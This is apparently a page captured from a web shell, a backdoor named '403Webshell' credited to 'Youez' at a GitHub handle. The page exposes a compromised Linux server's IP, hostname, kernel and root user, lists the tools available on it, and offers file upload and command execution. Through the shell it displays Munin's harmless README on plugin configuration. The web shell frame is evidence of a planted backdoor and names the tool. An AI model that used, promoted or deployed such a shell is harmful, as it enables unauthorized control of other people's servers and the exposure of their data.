403Webshell
Server IP : 157.22.201.140  /  Your IP : 216.73.216.74
Web Server : nginx/1.30.1
System : Linux mit.vincode.fvds.ru 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/doc/munin-node/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/doc/munin-node/README.PluginConfiguration
Munin plugin configuration
==========================

Munin plugins are configured by editing existing or placing new files in
/etc/munin/plugin-conf.d/.  Since files in this directory may contain passwords
or other sensitive information, the directory is not world readable.

Configuration files are read only once during the startup of "munin-node".
Thus a restart of this service is necessary for changes to take effect.

A plugin configuration file contains one or more sections.  Each section starts
with a label (between '[' and ']'), and contains an optional "user" statement,
an optional "group" statement, and zero or more lines beginning with "env.":

Example:

 [mailthingie]
  user        mail
  group       adm
  env.logfile /var/log/mail.info

[Label]
-------

A label matching the plugin name starts a new configuration block.

For wildcard plugins requiring similar configuration, the label within [] can
end in a wildcard, like "[ip_*]".

User
----

If munin (or munin-run) is run with root privileges, munin will change user for
the matching plugins to the user specified.

Group
-----

If munin (or munin-run) is run with root privileges, munin will run the plugin
with an additional group specified here.

env.variable
------------

A line 

 "env.logfile /var/log/syslog"

...will run the plugin with an extra environment variable "logfile" with the
content "/var/log/syslog".  A plugin is expected to provide sane default values
for such variables, but such defaults may not exist, or be "sane" on other
platforms.

Debugging
---------

To check if plugin configuration is applied, run munin-run with "-d" to enable
debugging, as root, (like "sudo munin-run -d someplugin") and check the output.

If you do not execute "munin-run" as root, you may not be able to read the
plugin configuration files, and debugging your plugins may be harder than
necessary.

Please note that the "munin-node" process may be restricted if it is executed
via systemd.  This may include access to certain directories (e.g. /home or
/tmp) as well as write access to unusual locations.
See /lib/systemd/system/munin-node.service for the packaging defaults of such
restrictions.  Use "systemctl edit munin-node" for overriding specific settings
locally.
The output of "munin-run" may differ from the output of the munin-node service
due to these restrictions.

Youez - 2016 - github.com/yon3zu
LinuXploit